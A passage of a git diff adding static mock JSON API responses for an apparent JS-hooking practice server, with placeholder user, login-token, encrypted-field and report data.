1738252800, + "success": true, + "message": "产品 智能手机 信息处理成功", + "code": 200, + "product_info": { + "name": "智能手机", + "description": "高性能智能手机,配备最新处理器和高清摄像头,支持5G网络。", + "price": 2999.99, + "category": "electronics", + "brand": "TechBrand", + "stock": 100, + "tags": ["5G", "高清摄像", "长续航"], + "attributes": { + "product_id": "PRD456DEF", + "created_at": "2025-01-31T16:00:00.000Z", + "status": "available", + "warranty": "2年", + "origin": "中国" + } + } + } +} diff --git a/JS-hook/fake-api-server/api/protobuf-response-analytics-sales b/JS-hook/fake-api-server/api/protobuf-response-analytics-sales new file mode 100644 index 0000000..1a11265 --- /dev/null +++ b/JS-hook/fake-api-server/api/protobuf-response-analytics-sales @@ -0,0 +1,42 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟 Protocol Buffers 响应", + "data": { + "request_id": "abc123sales", + "timestamp": 1738252800, + "success": true, + "message": "analytics-sales 数据获取成功", + "code": 200, + "category": "analytics", + "option": "sales", + "report_data": { + "report_id": "RPT123SALES", + "title": "销售数据分析报告", + "description": "基于最近30天的销售数据,分析销售趋势、热门产品和销售渠道表现", + "generated_at": 1738252800, + "summary_metrics": { + "总销售额": 156780, + "订单数量": 1245, + "平均客单价": 125.9, + "同比增长": 15.6 + }, + "charts": [{ + "chart_type": "line", + "title": "销售趋势图", + "data_points": [ + {"label": "第1天", "value": 8500, "unit": "元", "timestamp": 1738166400}, + {"label": "第2天", "value": 9200, "unit": "元", "timestamp": 1738252800}, + {"label": "第3天", "value": 7800, "unit": "元", "timestamp": 1738339200}, + {"label": "第4天", "value": 10500, "unit": "元", "timestamp": 1738425600}, + {"label": "第5天", "value": 11200, "unit": "元", "timestamp": 1738512000}, + {"label": "第6天", "value": 9800, "unit": "元", "timestamp": 1738598400}, + {"label": "第7天", "value": 12300, "unit": "元", "timestamp": 1738684800} + ], + "metadata": { + "period": "最近7天", + "currency": "CNY" + } + }] + } + } +} diff --git a/JS-hook/fake-api-server/api/protobuf-response-insights-trends b/JS-hook/fake-api-server/api/protobuf-response-insights-trends new file mode 100644 index 0000000..346a522 --- /dev/null +++ b/JS-hook/fake-api-server/api/protobuf-response-insights-trends @@ -0,0 +1,41 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟 Protocol Buffers 响应", + "data": { + "request_id": "jkl012trends", + "timestamp": 1738252800, + "success": true, + "message": "insights-trends 数据获取成功", + "code": 200, + "category": "insights", + "option": "trends", + "report_data": { + "report_id": "RPT012TRENDS", + "title": "趋势预测分析", + "description": "基于历史数据和机器学习算法预测未来趋势", + "generated_at": 1738252800, + "summary_metrics": { + "预测准确率": 85.6, + "趋势强度": 7.8, + "置信度": 92.3, + "预测周期": 12 + }, + "charts": [{ + "chart_type": "line", + "title": "趋势预测", + "data_points": [ + {"label": "未来第1月", "value": 15000, "unit": "元", "timestamp": 1740844800}, + {"label": "未来第2月", "value": 16500, "unit": "元", "timestamp": 1743523200}, + {"label": "未来第3月", "value": 18200, "unit": "元", "timestamp": 1746028800}, + {"label": "未来第4月", "value": 19800, "unit": "元", "timestamp": 1748707200}, + {"label": "未来第5月", "value": 21500, "unit": "元", "timestamp": 1751299200}, + {"label": "未来第6月", "value": 23200, "unit": "元", "timestamp": 1753977600} + ], + "metadata": { + "confidence": "85%", + "model": "ARIMA" + } + }] + } + } +} diff --git a/JS-hook/fake-api-server/api/protobuf-response-reports-performance b/JS-hook/fake-api-server/api/protobuf-response-reports-performance new file mode 100644 index 0000000..adba2fb --- /dev/null +++ b/JS-hook/fake-api-server/api/protobuf-response-reports-performance @@ -0,0 +1,40 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟 Protocol Buffers 响应", + "data": { + "request_id": "def456perf", + "timestamp": 1738252800, + "success": true, + "message": "reports-performance 数据获取成功", + "code": 200, + "category": "reports", + "option": "performance", + "report_data": { + "report_id": "RPT456PERF", + "title": "系统性能报告", + "description": "系统各组件性能指标监控,包括响应时间、吞吐量和资源使用率", + "generated_at": 1738252800, + "summary_metrics": { + "平均响应时间": 145.6, + "系统可用性": 99.8, + "CPU使用率": 65.2, + "内存使用率": 72.1 + }, + "charts": [{ + "chart_type": "line", + "title": "系统响应时间", + "data_points": [ + {"label": "0:00", "value": 120, "unit": "ms", "timestamp": 1738166400}, + {"label": "1:00", "value": 135, "unit": "ms", "timestamp": 1738170000}, + {"label": "2:00", "value": 110, "unit": "ms", "timestamp": 1738173600}, + {"label": "3:00", "value": 125, "unit": "ms", "timestamp": 1738177200}, + {"label": "4:00", "value": 140, "unit": "ms", "timestamp": 1738180800}, + {"label": "5:00", "value": 155, "unit": "ms", "timestamp": 1738184400} + ], + "metadata": { + "period": "最近24小时" + } + }] + } + } +} diff --git a/JS-hook/fake-api-server/api/protobuf-response-statistics-traffic b/JS-hook/fake-api-server/api/protobuf-response-statistics-traffic new file mode 100644 index 0000000..ff1df53 --- /dev/null +++ b/JS-hook/fake-api-server/api/protobuf-response-statistics-traffic @@ -0,0 +1,39 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟 Protocol Buffers 响应", + "data": { + "request_id": "ghi789traffic", + "timestamp": 1738252800, + "success": true, + "message": "statistics-traffic 数据获取成功", + "code": 200, + "category": "statistics", + "option": "traffic", + "report_data": { + "report_id": "RPT789TRAFFIC", + "title": "流量统计报告", + "description": "网站流量来源分析,包括访问量、页面浏览量和用户行为路径", + "generated_at": 1738252800, + "summary_metrics": { + "总访问量": 156780, + "独立访客": 89450, + "页面浏览量": 345670, + "跳出率": 35.6 + }, + "charts": [{ + "chart_type": "line", + "title": "网站流量趋势", + "data_points": [ + {"label": "第1天", "value": 8500, "unit": "PV", "timestamp": 1735660800}, + {"label": "第2天", "value": 9200, "unit": "PV", "timestamp": 1735747200}, + {"label": "第3天", "value": 7800, "unit": "PV", "timestamp": 1735833600}, + {"label": "第4天", "value": 10500, "unit": "PV", "timestamp": 1735920000}, + {"label": "第5天", "value": 11200, "unit": "PV", "timestamp": 1736006400} + ], + "metadata": { + "period": "最近30天" + } + }] + } + } +} diff --git a/JS-hook/fake-api-server/api/protobuf-user b/JS-hook/fake-api-server/api/protobuf-user new file mode 100644 index 0000000..7e6f96a --- /dev/null +++ b/JS-hook/fake-api-server/api/protobuf-user @@ -0,0 +1,27 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟 Protocol Buffers 响应", + "data": { + "request_id": "abc123", + "timestamp": 1738252800, + "success": true, + "message": "用户 张三 信息处理成功", + "code": 200, + "user_info": { + "name": "张三", + "email": "zhangsan@example.com", + "age": 28, + "phone": "13800138000", + "address": "北京市朝阳区", + "company": "科技创新有限公司", + "position": "高级工程师", + "salary": 25000, + "skills": ["JavaScript", "Python", "React"], + "metadata": { + "user_id": "USR123ABC", + "created_at": "2025-01-31T16:00:00.000Z", + "status": "active" + } + } + } +} diff --git a/JS-hook/fake-api-server/api/query-string-param-sign b/JS-hook/fake-api-server/api/query-string-param-sign new file mode 100644 index 0000000..a0e2ed0 --- /dev/null +++ b/JS-hook/fake-api-server/api/query-string-param-sign @@ -0,0 +1,7 @@ +{ + "items": [ + { "id": 1, "name": "Static Item 1" }, + { "id": 2, "name": "Static Item 2" }, + { "id": 3, "name": "Static Item 3" } + ] +} \ No newline at end of file diff --git a/JS-hook/fake-api-server/api/response-header-cookie-login b/JS-hook/fake-api-server/api/response-header-cookie-login new file mode 100644 index 0000000..ce520a1 --- /dev/null +++ b/JS-hook/fake-api-server/api/response-header-cookie-login @@ -0,0 +1,25 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟响应头加密Cookie", + "data": { + "session_id": "SESABC123LOGIN", + "timestamp": 1738252800, + "authenticated": true, + "service_type": "login", + "client_ip": "192.168.1.100", + "login_result": { + "status": "success", + "user_id": "USERABC123", + "access_token": "ATLOGIN123456789ABCDEFGH", + "token_type": "Bearer", + "expires_in": 3600 + } + }, + "headers": { + "x-cookie": "U2FsdGVkX1+8QGqKZHMjRwJVm9QxZzNvYWJjZGVmZ2hpams1MjM0NTY3ODkwYWJjZGVmZ2hpams=", + "x-session-id": "SESABC123LOGIN", + "x-auth-status": "success", + "x-service-type": "login", + "content-type": "application/json" + } +} diff --git a/JS-hook/fake-api-server/api/response-header-cookie-oauth b/JS-hook/fake-api-server/api/response-header-cookie-oauth new file mode 100644 index 0000000..290a1e8 --- /dev/null +++ b/JS-hook/fake-api-server/api/response-header-cookie-oauth @@ -0,0 +1,25 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟响应头加密Cookie", + "data": { + "session_id": "SESDEF456OAUTH", + "timestamp": 1738252800, + "authenticated": true, + "service_type": "oauth", + "client_ip": "192.168.1.100", + "oauth_result": { + "status": "authorized", + "provider": "github", + "access_token": "OATOAUTH789012345IJKLMNOP", + "scope": "write", + "user_info": "github_user_abc123" + } + }, + "headers": { + "x-cookie": "U2FsdGVkX1+9RHrLaIMkSwKWn0RyazOvYWJjZGVmZ2hpams2MzQ1Njc4OTBhYmNkZWZnaGlqaw==", + "x-session-id": "SESDEF456OAUTH", + "x-auth-status": "success", + "x-service-type": "oauth", + "content-type": "application/json" + } +} diff --git a/JS-hook/fake-api-server/api/response-header-cookie-refresh b/JS-hook/fake-api-server/api/response-header-cookie-refresh new file mode 100644 index 0000000..5373ffa --- /dev/null +++ b/JS-hook/fake-api-server/api/response-header-cookie-refresh @@ -0,0 +1,25 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟响应头加密Cookie", + "data": { + "session_id": "SESJKL012REFRESH", + "timestamp": 1738252800, + "authenticated": true, + "service_type": "refresh", + "client_ip": "192.168.1.100", + "refresh_result": { + "status": "refreshed", + "new_access_token": "RATREFRESH567890123QRSTUV", + "new_refresh_token": "RRTREFRESH890123456WXYZAB", + "expires_in": 86400, + "scope": "reduced" + } + }, + "headers": { + "x-cookie": "U2FsdGVkX1+1TJtOcKRmUwMYp2T0czRvYWJjZGVmZ2hpams4NTY3ODkwMWFiY2RlZmdoaWpr", + "x-session-id": "SESJKL012REFRESH", + "x-auth-status": "success", + "x-service-type": "refresh", + "content-type": "application/json" + } +} diff --git a/JS-hook/fake-api-server/api/response-header-cookie-sso b/JS-hook/fake-api-server/api/response-header-cookie-sso new file mode 100644 index 0000000..3ec2ea0 --- /dev/null +++ b/JS-hook/fake-api-server/api/response-header-cookie-sso @@ -0,0 +1,25 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟响应头加密Cookie", + "data": { + "session_id": "SESGHI789SSO", + "timestamp": 1738252800, + "authenticated": true, + "service_type": "sso", + "client_ip": "192.168.1.100", + "sso_result": { + "status": "authenticated", + "provider": "saml", + "user_identifier": "company.com\\user_def456", + "domain": "company.com", + "service_ticket": "STSSO345678901234" + } + }, + "headers": { + "x-cookie": "U2FsdGVkX1+0SIsNbJQlTwLXo1SzbzQvYWJjZGVmZ2hpams3NDU2Nzg5MGFiY2RlZmdoaWpr", + "x-session-id": "SESGHI789SSO", + "x-auth-status": "success", + "x-service-type": "sso", + "content-type": "application/json" + } +} diff --git a/JS-hook/fake-api-server/api/search-products b/JS-hook/fake-api-server/api/search-products new file mode 100644 index 0000000..4d441be --- /dev/null +++ b/JS-hook/fake-api-server/api/search-products @@ -0,0 +1,16 @@ +{ + "products": [ + { "id": 1, "name": "静态商品 - 苹果手机", "price": 6999, "category": "electronics" }, + { "id": 2, "name": "静态商品 - 华为手机", "price": 4999, "category": "electronics" }, + { "id": 3, "name": "静态商品 - 小米手机", "price": 2999, "category": "electronics" }, + { "id": 4, "name": "静态商品 - 时尚T恤", "price": 199, "category": "clothing" }, + { "id": 5, "name": "静态商品 - 牛仔裤", "price": 299, "category": "clothing" } + ], + "searchParams": { + "keyword": "手机", + "category": "electronics", + "minPrice": 100, + "maxPrice": 5000 + }, + "total": 5 +} diff --git a/JS-hook/fake-api-server/api/secure-operation-audit b/JS-hook/fake-api-server/api/secure-operation-audit new file mode 100644 index 0000000..85b96a6 --- /dev/null +++ b/JS-hook/fake-api-server/api/secure-operation-audit @@ -0,0 +1 @@ +553246736447566b5831387a614b66656447337070354358544e346d764f48414164703138557259594a392b6b4d595947455877775154562f3274423570644e563572496a52465378566a454433334e4f6334647752463466714f74424a336170717950335a4e472b76575765443938762f742f4e444a5a4f7a43357365446c516448424265573248702f753132566174505a696f637155724a73316b55614174667965394f7a743154766876706967445a5175494941757672665377516a5070666a664679494639526b2b492f33674868777179632f7775716d46704a51582b457a46535075744a75322b4162374b6f4375324477446e697547753970596f32396d6245786155694734694b7955564b646465687a62377451514f4d6c6f6d4b54365a31676c7a725162545452654e6f31675548422b686156674b61374a564846366d5837546f6d4c5573566f5259563857595a35616762724f7833316249616a7a676f7a793743385a6d414c4b4961596643374857544457387263622b3043714c51645948327342622f72705a7a4e726d62527178557a57432f46306f58766a4e4d6d537130512b6e71563656627858656463624e354d4f6b7030583568655646593372346d4c4432454334645a3469544676513d3d diff --git a/JS-hook/fake-api-server/api/secure-operation-backup b/JS-hook/fake-api-server/api/secure-operation-backup new file mode 100644 index 0000000..e20a4b9 --- /dev/null +++ b/JS-hook/fake-api-server/api/secure-operation-backup @@ -0,0 +1 @@ +553246736447566b58312f31326e49574f305371355a52346433302b5643685449704b35572b5748455779723732616a31546c68794534475139634343577370337274646b5955784e744a53374f414d4957667169522b50374d496b4145744e6d7743514b5a4856646b706d456559674967676772776d485376786d36752f37624669396933384945352b563849566d73374571516237674a77624b4a414948785759756f2b6a464a79526d4a704a6f4d432b6a366874484a342b5a4657576f55587454784f313342762b2b6e3167755833746e56654a6e524e5268707a54503830637039346b714f745a4e314a4878526a61454a436139424d7251706d3130467945315642723958544c4948532b497879556851763952654c55625855772b6833782b77545579556e6379526947657264676c565451304c3848397163634330304d424257704847746e744d476d643436397851385a5035307a6e64374a68454f5146444f633465334c307830447959756631514a46516e762b50384164572f45694a7a397a59596949575a4b4b664872545873684a4e6b36676e2f4a756458314b6a6c486e73754975777a517155776c7661704f586a7a366b49394e762b692f53714a6d2f4c785a6e326733366d7235774b7734756967337a72686f503538387144726566492b506b3d diff --git a/JS-hook/fake-api-server/api/secure-operation-contract b/JS-hook/fake-api-server/api/secure-operation-contract new file mode 100644 index 0000000..e14dc0e --- /dev/null +++ b/JS-hook/fake-api-server/api/secure-operation-contract @@ -0,0 +1 @@ +553246736447566b583139342b4a695a5a646c42554e33683047645a45534c72444f4c4e355757656857384331706473536a70486f734f524f346d426848526c33486b4b6846322f6947372f4e616d2f68685a584f73443649307939577854426245773056584b386d586a41537075444a4c6b594b43564778782f6c543174553655482b486444423666744a5635514a74413730616275574a4765436451794668345a503337774a57566a534d4f3267346464364a6d2b765a68614577516d4d466a665a5459385478486a4e713572536e716e66542f49396d3978315337436d334d46493535444c7664734c444d49656d4c50482f65474d2f4365506d325a5953546e5743356675367477684d466d50576932305754722f356b364b7671706b7844642f4672696279716a56546b372f45612f682f68676550464959785a4941636c7a5969564977564258536c5042706c51592b6977654a6a77486765594249554756653463464f6c694b3378626851306f686867517259776c4c45482f5a75594e4d6a54646170764362706e346c7251792f64656b4e5347486342726c2b49565357444f4676776d435a707447716b76766b6e457037484d72767469674a7439426b59517032324c4e615841453959686b343034344f715a65776d6944586e2f4d706e326d346f4b77346f6b2b6d4c796d4243634a574b425335426c624370 diff --git a/JS-hook/fake-api-server/api/secure-operation-transfer b/JS-hook/fake-api-server/api/secure-operation-transfer new file mode 100644 index 0000000..34b153c --- /dev/null +++ b/JS-hook/fake-api-server/api/secure-operation-transfer @@ -0,0 +1 @@ +553246736447566b58313836762f35316f30582b6264694b34416854796b61736764695a635772307237363233456358542f5369707370796372765638424c68733275707747466b3367372f43766c76575554685a64674a576269796770556c524867574d59434a496d6d2f6f3261442b4777342b51476c6a786b4e434b5139717a42777a3546485469707968712f334a59716e4266413278616d335a61614a396737716a456c2f39716f4267644b6d73794b775844626f69757267627476554547423733735063785948664454384a5a6667746d7252384268777a7771654735697a616f6263787556724a4a3347584b7a6b764a484a506d43576c4851655a48446c79624a564f774e41464b7749516d425439307843576b32706c6e7455543238714d56413538547438744b6a5566517a352b73643555487245416e3145466673713161634a6431586e6761337a746e794476687a39787979635557714e714361792f51384c42666e6a326e672b47674d2b53763176792f66364e3348777362626d494475356952454e4253776a43367141594b326b4a62782b6b745347374c56475a7531504959316a3445596d65455a694a7a5674654471537366672f6f6148574f424c646a4e6a5753724e795a3131376173673d3d diff --git a/JS-hook/fake-api-server/api/secure-query-customer b/JS-hook/fake-api-server/api/secure-query-customer new file mode 100644 index 0000000..462d0e4 --- /dev/null +++ b/JS-hook/fake-api-server/api/secure-query-customer @@ -0,0 +1 @@ +553246736447566b58312b53336661394e4d47492f556d6449736453416846494562364a6e5337614779355035507479456f376d572f546457456b42636a6a6d6a657a653476347066736237355444734d5949696a37325a434c71586e4870564f564d4435536f6774307668734d62464e5170554232317a58747a484d6849507a5271342b2f50326950722b686674465248654c526855304f712b304361694f66486347685172396956686c7579727a623237796d737a39535a6d596e3251412b742f365a45536635636163304579516843734d537a6747514432664c6c4153734e6e624b703135332f505a596e54764d474c33684a44312f51634b725a572f704b494e4154583976414e4b613472576b44434c67302f4e3768325348692b662b45306e4936664450625a6979577066786c433431686c70426c7a6742352b424c73524437464b37414d3065716b31527142487877513d3d diff --git a/JS-hook/fake-api-server/api/secure-query-employee b/JS-hook/fake-api-server/api/secure-query-employee new file mode 100644 index 0000000..83d0a31 --- /dev/null +++ b/JS-hook/fake-api-server/api/secure-query-employee @@ -0,0 +1 @@ +553246736447566b5831396c65355362715a4e6a326d6737514d476258386a31446e51507641615349306737766d6b705050762f7964574c2f7a396e43566c615234467957615545764350587552456a39424e78745459795176722f594d666c6a6642724462397673594a756f3167614441333055614451652f354968426677314a745746795a2b7a72467a4d71696c5a30544b6876746d3678784f6d7a46724778614e68304f477351676a3449617a51315964785947557a51794c4d6839444a2b79747873646b6f43634a4a6c48316745784d6b49374e6e6a6b4633733038353061376164503753315a5a7377586843744245316a767974694149586b4f4436754e756241435349367347516d49702f63346f2b6f7035625558695a39367a6f417a70374133337a64673d diff --git a/JS-hook/fake-api-server/api/secure-query-financial b/JS-hook/fake-api-server/api/secure-query-financial new file mode 100644 index 0000000..006695d --- /dev/null +++ b/JS-hook/fake-api-server/api/secure-query-financial @@ -0,0 +1 @@ +553246736447566b5831392f4e6e62363673393537586c6a3674474444784368727a322b746167446d3154565a4f734d726857634676694679586e6d7049613030472f4b3759634851764e7531553376365a707571485977424a366a5a3830694f757969434e5538685a6e58504d6842336431617450772b3172472b2f38634e6d347a777455797543546a4853314f6c332f4730586936725a526e48352f444b30745758755741546951524f6c4b55774e43646a644538486d56344634694c363769504d735450353375772b342f776b4d577041713651495a6a4a436756595536393751654f784e536d636c696b5a37624c6f53412f6777526d435149754e61594a766b53552b534c564e4f786a6f793159684951516d6a6a5453705976712b5a6e6e485a4561367031633d diff --git a/JS-hook/fake-api-server/api/secure-query-project b/JS-hook/fake-api-server/api/secure-query-project new file mode 100644 index 0000000..c04463b --- /dev/null +++ b/JS-hook/fake-api-server/api/secure-query-project @@ -0,0 +1 @@ +553246736447566b58312b72794f546c4f316f763566325a4c4457774c3278794767536b7a4b56717571483470614f5759302f4236623557685a636f5a45386b356e7a65645632487a2f517255782b2b684f5a6462464f71486e6c584a623134764c6b562b743354464a4f493656732f5a6758667576784c4133724d704346685231685277426d35464d4434387575367859436d65526b704a41434731364d7137387a652f4f6c434965742f6d67364566443772674a686f4732736e66795a4e7633396966514e744a4b5158693947567459532b5a5034526d42594a366376716238784a6f544679537536786b66684450766166423736493055436e394f574e3868496e412b673041387273524e317733557a3047375739612b6d5373766f6869336d4d685555413261413d diff --git a/JS-hook/fake-api-server/api/secure-submit b/JS-hook/fake-api-server/api/secure-submit new file mode 100644 index 0000000..3eb61ed --- /dev/null +++ b/JS-hook/fake-api-server/api/secure-submit @@ -0,0 +1,20 @@ +{ + "success": true, + "message": "数据提交成功", + "submissionId": "ABC123XYZ789", + "status": "已接收并处理", + "timestamp": "2025-01-31T14:00:00.000Z", + "securityLevel": "最高级别加密", + "decryptedData": { + "companyName": "科技创新有限公司", + "contactPerson": "张经理", + "budget": 500000, + "urgency": "medium", + "industry": "technology" + }, + "processingInfo": { + "hexDataLength": 1024, + "encryptedDataLength": 512, + "originalDataSize": 256 + } +} diff --git a/JS-hook/fake-api-server/api/send-message b/JS-hook/fake-api-server/api/send-message new file mode 100644 index 0000000..6d519bd --- /dev/null +++ b/JS-hook/fake-api-server/api/send-message @@ -0,0 +1,9 @@ +{ + "success": true, + "message": "消息发送成功", + "messageId": "abc123def456", + "sender": "Alice", + "timestamp": "2025-01-31T13:00:00.000Z", + "encryptedContent": "U2FsdGVkX19NsM9dRTZhUSFVUEeQiUKaqo+3uRF/gRwdQUX1CUhPM5e35C2EWeo1", + "originalMessage": "这是一条需要加密传输的重要消息!" +} diff --git a/JS-hook/fake-api-server/api/submit-user-info b/JS-hook/fake-api-server/api/submit-user-info new file mode 100644 index 0000000..c33aec4 --- /dev/null +++ b/JS-hook/fake-api-server/api/submit-user-info @@ -0,0 +1,19 @@ +{ + "success": true, + "message": "用户信息提交成功", + "userId": 12345, + "submitTime": "2025-01-31T12:30:00.000Z", + "status": "已处理", + "decryptedData": { + "phone": "13800138000", + "idCard": "110101********1234", + "bankCard": "6222****0123" + }, + "userInfo": { + "name": "张三", + "email": "zhangsan@example.com", + "city": "beijing", + "age": 25, + "remarks": "用户信息提交测试" + } +} diff --git a/JS-hook/fake-api-server/api/user-details-1001 b/JS-hook/fake-api-server/api/user-details-1001 new file mode 100644 index 0000000..92d28cd --- /dev/null +++ b/JS-hook/fake-api-server/api/user-details-1001 @@ -0,0 +1,18 @@ +{ + "success": true, + "message": "获取用户信息成功", + "data": { + "id": 1001, + "name": "张三", + "email": "zhangsan@company.com", + "department": "技术部", + "encryptedPhone": "U2FsdGVkX1/TCSzk2xeJ7Ygp5w3SGFWWwKk9xJ8f+yg=", + "encryptedIdCard": "U2FsdGVkX1+/iqcsQts6tx0MM0XcTdwQvjEKHEAIM8Tz+O3z89lDO2bB+PvZ89yM", + "encryptedBankCard": "U2FsdGVkX18SK/rqA4B83grGVf6BzF+2N+8BLmOOf5T3EYv2sr/LSUK1cSJn0CQa", + "encryptedAddress": "U2FsdGVkX18OV0bHhR2LppCpIy5tHWbsrFla7la0UX6SyoaIVUnjR4KOk25C4MC4RBOfqQytp6eUxxCyF3mdeA==", + "createdAt": "2023-01-15T08:30:00Z", + "lastLogin": "2025-01-31T10:15:00Z", + "status": "正常" + }, + "timestamp": "2025-01-31T12:45:00.000Z" +} diff --git a/JS-hook/fake-api-server/api/user-details-1002 b/JS-hook/fake-api-server/api/user-details-1002 new file mode 100644 index 0000000..8003947 --- /dev/null +++ b/JS-hook/fake-api-server/api/user-details-1002 @@ -0,0 +1,18 @@ +{ + "success": true, + "message": "获取用户信息成功", + "data": { + "id": 1002, + "name": "李四", + "email": "lisi@company.com", + "department": "市场部", + "encryptedPhone": "U2FsdGVkX183M4bw9qh4jJo7SJLZxPN+jKKqxdsjpII=", + "encryptedIdCard": "U2FsdGVkX18iEY9CSXbsW4BOE8dKeHrQbuv8jRanjce0AzRCZ3zYnESQhNLYsrYj", + "encryptedBankCard": "U2FsdGVkX1/NKn7zOdrAu/jyndYCwBef8KefRNcIg1atqb7ajVpWfBRk8MtR433z", + "encryptedAddress": "U2FsdGVkX18c7zS/H+Uq76KjgotHkJIHC74djFGbo6WkmC2GEJ42WCQfxDXVYY5R87TWJE/w+SfrGQMmtyDDYg==", + "createdAt": "2023-02-20T09:45:00Z", + "lastLogin": "2025-01-31T09:30:00Z", + "status": "正常" + }, + "timestamp": "2025-01-31T12:45:00.000Z" +} diff --git a/JS-hook/fake-api-server/api/user-details-1003 b/JS-hook/fake-api-server/api/user-details-1003 new file mode 100644 index 0000000..290a835 --- /dev/null +++ b/JS-hook/fake-api-server/api/user-details-1003 @@ -0,0 +1,18 @@ +{ + "success": true, + "message": "获取用户信息成功", + "data": { + "id": 1003, + "name": "王五", + "email": "wangwu@company.com", + "department": "财务部", + "encryptedPhone": "U2FsdGVkX19G5GWtbM1TYc9cQqbl0mxePC9cI8Pn4oI=", + "encryptedIdCard": "U2FsdGVkX180bcR4UhAet7fF7HrOlDboacmzLdzSFZqyMBSKIxMCeApUagfal9bH", + "encryptedBankCard": "U2FsdGVkX18eEs1ooJ3U3bt3iE35AI5HrR8DtAtr/sHdCyaAklV9xdFuv37tPLwe", + "encryptedAddress": "U2FsdGVkX18iR2TgyxPlE31yftcx69C9dK3Wploj7twyBqGE12wErlXpRVG5yMqHoGJhVOEOlOpdIOamrMqf2A==", + "createdAt": "2023-03-10T14:20:00Z", + "lastLogin": "2025-01-30T16:45:00Z", + "status": "正常" + }, + "timestamp": "2025-01-31T12:45:00.000Z" +} diff --git a/JS-hook/fake-api-server/api/user-details-1004 b/JS-hook/fake-api-server/api/user-details-1004 new file mode 100644 index 0000000..f5fdb71 --- /dev/null +++ b/JS-hook/fake-api-server/api/user-details-1004 @@ -0,0 +1,18 @@ +{ + "success": true, + "message": "获取用户信息成功", + "data": { + "id": 1004, + "name": "赵六", + "email": "zhaoliu@company.com", + "department": "人事部", + "encryptedPhone": "U2FsdGVkX18Itx0bQxK3OneM/UDoK1drNJqiZV5SCVc=", + "encryptedIdCard": "U2FsdGVkX1+HG4svOx2Dfe2OMInwEr6B9thUBwmkh2Csrxlo1jw8qhiBqDQV1mNt", + "encryptedBankCard": "U2FsdGVkX1/YoZ6cUDDDrhRdPXVX4HOc3Bm/QyvuDkfPwLYWmqcqGO8MZA1VPbSN", + "encryptedAddress": "U2FsdGVkX18WMyasubCLsM0qzeajRr/l3X32iuuQR09thj9OcN9rg/0oedYt6TyJSEefkpKuArVV9o77nHYU8w==", + "createdAt": "2023-04-05T11:10:00Z", + "lastLogin": "2025-01-29T14:20:00Z", + "status": "正常" + }, + "timestamp": "2025-01-31T12:45:00.000Z" +} diff --git a/JS-hook/fake-api-server/api/video-segment-documentary-0 b/JS-hook/fake-api-server/api/video-segment-documentary-0 new file mode 100644 index 0000000..9a34075 --- /dev/null +++ b/JS-hook/fake-api-server/api/video-segment-documentary-0 @@ -0,0 +1,12 @@ +{ + "video_type": "documentary", + "segment_id": 0, + "segment_name": "segment_000.ts", + "encrypted_data": "U2FsdGVkX1+0SIsNbJQlTwLXo1SzbzQvYWJjZGVmZ2hpams3NDU2Nzg5MGFiY2RlZmdoaWpr", + "iv": "fedcba0987654321fedcba0987654321", + "encryption_method": "AES-128-CBC", + "segment_size": 1048576, + "duration": 30, + "timestamp": 1738252800, + "content_type": "video/mp2t" +} diff --git a/JS-hook/fake-api-server/api/video-segment-live-stream-0 b/JS-hook/fake-api-server/api/video-segment-live-stream-0 new file mode 100644 index 0000000..f7ce33a --- /dev/null +++ b/JS-hook/fake-api-server/api/video-segment-live-stream-0 @@ -0,0 +1,12 @@ +{ + "video_type": "live-stream", + "segment_id": 0, + "segment_name": "segment_000.ts", + "encrypted_data": "U2FsdGVkX1+1TJtOcKRmUwMYp2T0czRvYWJjZGVmZ2hpams4NTY3ODkwMWFiY2RlZmdoaWpr", + "iv": "0123456789abcdef0123456789abcdef", + "encryption_method": "AES-128-CBC", + "segment_size": 262144, + "duration": 30, + "timestamp": 1738252800, + "content_type": "video/mp2t" +} diff --git a/JS-hook/fake-api-server/api/video-segment-movie-action-0 b/JS-hook/fake-api-server/api/video-segment-movie-action-0 new file mode 100644 index 0000000..ef59af1 --- /dev/null +++ b/JS-hook/fake-api-server/api/video-segment-movie-action-0 @@ -0,0 +1,12 @@ +{ + "video_type": "movie-action", + "segment_id": 0, + "segment_name": "segment_000.ts", + "encrypted_data": "U2FsdGVkX1+8QGqKZHMjRwJVm9QxZzNvYWJjZGVmZ2hpams1MjM0NTY3ODkwYWJjZGVmZ2hpams=", + "iv": "1234567890abcdef1234567890abcdef", + "encryption_method": "AES-128-CBC", + "segment_size": 524288, + "duration": 30, + "timestamp": 1738252800, + "content_type": "video/mp2t" +} diff --git a/JS-hook/fake-api-server/api/video-segment-movie-action-1 b/JS-hook/fake-api-server/api/video-segment-movie-action-1 new file mode 100644 index 0000000..d53dd63 --- /dev/null +++ b/JS-hook/fake-api-server/api/video-segment-movie-action-1 @@ -0,0 +1,12 @@ +{ + "video_type": "movie-action", + "segment_id": 1, + "segment_name": "segment_001.ts", + "encrypted_data": "U2FsdGVkX1+7QHpLZIMjSwJWm0QyazOvYWJjZGVmZ2hpams2MzQ1Njc4OTBhYmNkZWZnaGlqaw==", + "iv": "2345678901bcdef12345678901bcdef1", + "encryption_method": "AES-128-CBC", + "segment_size": 498765, + "duration": 30, + "timestamp": 1738252830, + "content_type": "video/mp2t" +} diff --git a/JS-hook/fake-api-server/api/video-segment-movie-action-2 b/JS-hook/fake-api-server/api/video-segment-movie-action-2 new file mode 100644 index 0000000..cd8ea9d --- /dev/null +++ b/JS-hook/fake-api-server/api/video-segment-movie-action-2 @@ -0,0 +1,12 @@ +{ + "video_type": "movie-action", + "segment_id": 2, + "segment_name": "segment_002.ts", + "encrypted_data": "U2FsdGVkX1+6RIqMaJQkTwLXo2SzbzQvYWJjZGVmZ2hpams4NDU2Nzg5MGFiY2RlZmdoaWpr", + "iv": "3456789012cdef123456789012cdef12", + "encryption_method": "AES-128-CBC", + "segment_size": 512345, + "duration": 30, + "timestamp": 1738252860, + "content_type": "video/mp2t" +} diff --git a/JS-hook/fake-api-server/api/video-segment-series-drama-0 b/JS-hook/fake-api-server/api/video-segment-series-drama-0 new file mode 100644 index 0000000..756cdf9 --- /dev/null +++ b/JS-hook/fake-api-server/api/video-segment-series-drama-0 @@ -0,0 +1,12 @@ +{ + "video_type": "series-drama", + 